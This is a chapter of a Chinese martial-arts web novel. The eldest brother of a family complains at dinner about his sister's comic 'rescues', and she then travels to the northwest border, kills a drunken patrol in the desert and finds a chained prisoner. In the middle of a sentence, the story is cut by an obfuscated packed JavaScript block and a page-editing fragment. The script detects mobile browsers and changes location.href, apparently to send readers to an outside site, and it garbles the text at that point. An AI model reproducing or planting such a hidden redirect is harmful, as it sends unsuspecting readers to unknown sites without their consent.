暮色四合,无相山庄,小满园。
今日,下山许久的二小姐终于归来,带着小公子去沧浪岛上闭关的老庄主也回来了,大公子被告知晚上一定要来小满园用饭。
一家人一个不少,是一场难得的团聚家宴。
人陆续到期了,仆人们却还磨磨蹭蹭不肯下去。
大家都对二小姐又强抢民男,啊不是,美救英雄了哪家公子十分感兴趣,很想留下来听一听。
等众人安坐,齐园对老管家吩咐道:“安伯,让人都下去吧,今日大家都辛苦了,你留下就行。”
“是。”安伯扫视一圈,还在磨蹭的丫鬟小厮只得不情不愿地下去了。
安伯是齐园从景宁侯府带来的老人,很得一家人信任。
开宴一刻钟,饭桌上愣是没有一个人开口。
无相山庄不讲究食不言寝不语,尤其是有海之曼和海见山这对天才父女在的时候。
海见山自从女儿下山美救英雄后,就被全家集体谴责了许多次,怪他在女儿面前显摆太过频繁,引导太过,被彻底剥夺了话语权。
海之曼则用眼一下一下地瞄自己的大哥,有点尴尬,有点心虚,还有点……害怕。
在海之曼第三十四次瞄自己大哥的时候,海之州终于忍无可忍,放下碗筷,深吸一口气,道:“不行。”
齐园一脸莫名“什么不行?”
海之州:“什么都不行。海之曼,你的美救英雄大业必须就此停止。”
海之曼张了张口,想要反驳,但是想想自己捅出的烂摊子,又不敢出声了。
齐园却不乐意了:“你妹妹是性子跳脱了一些,但也的确是实打实救了不少人。我们家曼儿又没做打家劫舍的强盗,就是去救人罢了,世上有那么多人想被救还没那机会呢。”
海之州揉着太阳穴,闭了闭眼道“好,那我就跟你们好好掰扯掰扯。”
“下山第一年,她救了临嵩派的肖容。救完以后当面表示了对他那张脸的失望,用词之犀利我就不复述了。虽然肖容当时没说什么,但他不久后就自请离开师门,去学什么劳什子易容术去了!”
“他当时可是临嵩派掌门的首徒,现在临嵩派掌门每次见面都对我吹胡子瞪眼,合着尴尬的不是你们是不是!”
老庄主却惊道:“哦!可是“千面镜”肖容?当今江湖上,把易容玩得出神入化的就是他了!他竟然之前是临嵩派的吗?”
海见山也替女儿打抱不平:“临嵩派擅长使剑,他学了那么多年在江湖上都寂寂无名,还差点被人害了,学易容不到三年却已有口皆碑,他明显更擅长易容吧!”
海之曼明显也被自己刚下山时的黑历史尴尬得脚趾扣地,忙拉她爹,让别说了。
“行。以后但凡跟临嵩派打照面的场合,您去,我是打死都不会再去了。”海之州摆了摆手。
“第二年,她救了无极阁的乔衍,这本是一桩好事。无极阁阁主特地来信致谢,因为救了乔衍一命,所以人家也没计较她把人家后山砍秃了,强行破了人家的护山大阵的事情。”
“当然不能计较,当时乔衍都快不行了。还是曼儿破阵惊动了无极阁的人,才阻止了悲剧发生。”无极阁的信是写给齐园的,她最清楚情况,也替女儿帮腔。
“但那不是她后面带着海之夕把人家的修复后的护山大阵窜得四处漏风、彻底报废的理由!”
众人:“……”
至此,海之州再不管管旁人的反驳:“第三年,她救了灵春堂的单木春。但无相山庄海之曼的名字已经传遍了江湖,人人都知道她救人是为了什么。”
“单老堂主让贴身老仆送来了整整五大车药材,不是单纯为了感谢咱们的!那老仆和我说,单木春年纪还小,望咱们高抬贵手,就算要结亲也等他十六了再说。”
“还有!”海之州越说越急火攻心,“前两天京城皇后给我来信,旁敲侧击地问我,曼儿是不是被男子伤透了,不喜欢男子了。”
海之曼惊恐抬头:“怎会如此?!”
海之州大怒:“你说呢?!你知道你上个月在京郊救的人是谁吗?!”
“我我我救她的时候根本不知道她是熙和郡主啊!”
“什么!!!”众人大惊。
熙和郡主乃是当今圣上的胞姐成泰长公主唯一的女儿,长公主对其极为疼爱,早早被封了郡主。
虽然齐园和当今皇后是闺中密友,现在也常有往来,但皇亲国戚,必不能等闲对待。
“那前两天来山庄上找你的那个少年,是…是…熙和郡主?”海见山简直匪夷所思,“怎么会是个姑娘家?女扮男装?”
海之州渐渐平静了下来,可能当怨种大哥太多年,他已学会了自我调节:“我知道,所以我已经和皇后解释清楚了,你不喜欢女子,请她出面和熙和郡主说清楚。”
“但是,真的,曼儿,当大哥求你,给哥哥我留条活路吧,别再去救人了。”
主厅彻底沉寂下来。
疲惫的怨种大哥,心虚的闯祸二姐,震惊的父母和祖父,还有一个埋头扒饭的老幺,以及后悔留下,拼命隐藏自己的安伯。
良久,海之夕突然开口道:“之前可能是时候未到,但事之所当发者皆已发,其果近在咫尺,此时再卜,当为正解。”
海之州眼皮一跳:“不许——!!!”
“在西北。”
还没等海之州把话说完,海之夕已经一锤定音,将卜算结果公之于众。
一时间众人都没反应过来。只有老庄主乐道:“夕儿大才!”
海之曼怀疑:“这结果靠谱吗?”
海之夕:“卦象清晰明确,你只管去试便是。”
“所以,没有人听我说话是吗?”海之州已经一脸麻木。
众人忙又伏低做小,集体向海之州道歉。
当晚,海之曼在大哥面前赌咒发誓,救人时绝不再像以前那样亮出名号,救人后也绝不轻举妄动,并当场立下字据,签字画押。
第二天一早,她便又收拾了行囊钱两,往西北去了
……
烈日将黄沙烤得发白,沙丘刺眼而滚烫。
海之曼伏在一匹摇摇晃晃的骆驼身上,从反复交叠的白袍中露出一双清澈却疲惫的眼睛。
今日已经是她深入大漠的第三天。
她摸了摸水囊,估量了一下,如果傍晚还没有人烟的踪迹,她便如论如何也要返程了。
自从进了大漠开始,海之曼便在心里将海之夕反复批斗了许多次,也不禁后悔,自己为什么要这么头脑一热就孤身闯进这茫茫沙漠里。
缺粮少水只是一方面,没有向导容易迷失方向才是最可怕的。
她从无相山庄出来,一路往西北去,从海港走到了平原,从平原走到了高原,又从高原逐渐深入戈壁。
这一路上竟是连个打家劫舍的土匪都没碰到,就像是为她特地清出了一条畅通无阻的坦途,好让她片刻都不要耽搁地抵达某个目的地。
终于,她来到了大周的西北边境,万胜关。
万胜关并非是一座真正的天然关隘,而是一座狠狠楔入大周西北边境的戍卫之城。
常年在这里驻守的是十三年前卸甲归田,却在卸甲次年重新自请戍边西北的老镇国公。
万胜关之前也不叫万胜关,而是自从老镇国公率领的戍北军一次又一次将常年犯边滋扰的克克族打退后,被当今圣上重新赐名,以城为关,名万胜关。
抵万胜关时,城内一片肃杀。
虽然未见克克来犯,也并未见城内有明显调兵遣将的动静,但海之曼还是凭直觉嗅到了一丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219464|197510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风雨欲来的味道。
巡城的不是府衙的捕快,而是戍北营的士兵。一队队人马穿梭城内,都拿鹰隼一般的眼睛把路上的人狠狠剜一遍。
海之曼为了寻找“受害者”在城里来回转了几圈。“受害者”倒是没发现,却被巡逻的士兵盯上了。
还好她溜得快,要不然真被士兵逮住问话,怎么解释自己这守株待兔等着救人的行为。
海之曼提气轻身,纵跃数次,跳上了城墙,向西北眺望。
此时,她既怀疑三弟算卦是不是在胡扯,又打心底里有些焦虑,万一真的有一个对自己很重要的人就在眼前这茫茫沙漠深处,等着自己去救呢?
最后,还是那句老话,来都来了。
海之曼最终决定不带向导。她只在城内的商行买了一匹骆驼,备足了十天左右的水和干粮,揣上指南针便艺高人胆大地进大漠了。
走到现在,海之曼的水和干粮其实还剩一些,但她早已被黄沙和烈日磨没了脾气,只想回去狠狠在水里泡上一天一夜。
好想家,好想回家泡温泉,想念裹挟着清爽水汽的海风,那感觉——
忽然,海之曼猛地从骆驼背上直起身子,像是一个倏然立在桅杆上的海鸟,微微侧头,循着来风的方向嗅去……
她闻到了。
一股混在沙砾中血腥气……
夜半时分,一轮圆月高悬,周遭的景物都被月光照的一览无遗。
前方不远处的地面上,有一个圆形的坑洞。一小队克克人正围着这个坑洞忙活,时而走到这坑洞前,嘴里叽里咕噜说些什么,继而一群人放声大笑,笑声里带着掩盖不住的嘲讽和恶意。
这群人醉醺醺的,几个穿着像是领头的克克人,醉得东倒西歪,走路都不稳当。
海之曼此时正匍匐在不远处的地面上,借着稀疏的植被掩饰身形,屏息敛气,静静观察眼前的一切。
看来,要救的人应当就在这坑里了。
这一小队克克人共有十个人,两个看似是领头的人加上八个小兵。领头已经醉得甚至不太清醒了,另外八个人也行为散漫,步伐不稳。
海之曼目测了一下自己离这群人的距离,心中有了成算。
毫无征兆的,月辉下寒光一闪,四枚不粗不细的银针瞬间飞向离坑洞最远的四个克克人。这四人只觉得脖子一痛,便再无知觉地倒在地上。
在这银针飞出的同时,海之曼也纵身而起,踏水行的轻功在这沙地上也不遑多让,转眼间,她便将自己和克克人的距离缩短了一半,同时袖中银针再出,在中间四个克克人也应声倒地。
两个领头的克克人也感觉到了一丝不对,坐起身来才发现,手下已经躺倒一片,他们大声斥骂,以为手下是喝醉了,一人扬鞭要抽,却在手扬到半空中时顿住了。
他突然感觉脖子剧痛,紧接着汩汩的鲜血便涌了出来,一只修长有力的手狠狠捂住他的嘴,再发不出一点声音。
海之曼干脆利落地干掉一人后,顺势旋身,一枚柳叶大小的飞镖就嗖的一声,没入最后一人的咽喉。
那人双目圆睁,直直倒在了地上,最后看到的画面,便是一个裹着染血白袍的人和一双冰冷锐利的眼睛。
从黑暗中一跃飞出,到最后一个克克人轰然倒地,取十人性命,不过几息之间。
夜风扬起被鲜血弄脏的袍角,海之曼紧绷的神经放松下来,长长呼出一口气。
没时间多想,她转头往坑洞处跑去。
抵达坑洞的边缘,海之曼探头朝坑里张望。
只见一个衣衫褴褛、皮肤苍白的人立在坑底,双脚似是被锁链捆住,在海之曼往下看的时候,也忽地抬起头来。
月华之下,一双幽深的墨绿色眸子直直地望向她的眼睛,狠戾和戒备之下,是掩盖不住的疲惫和期待。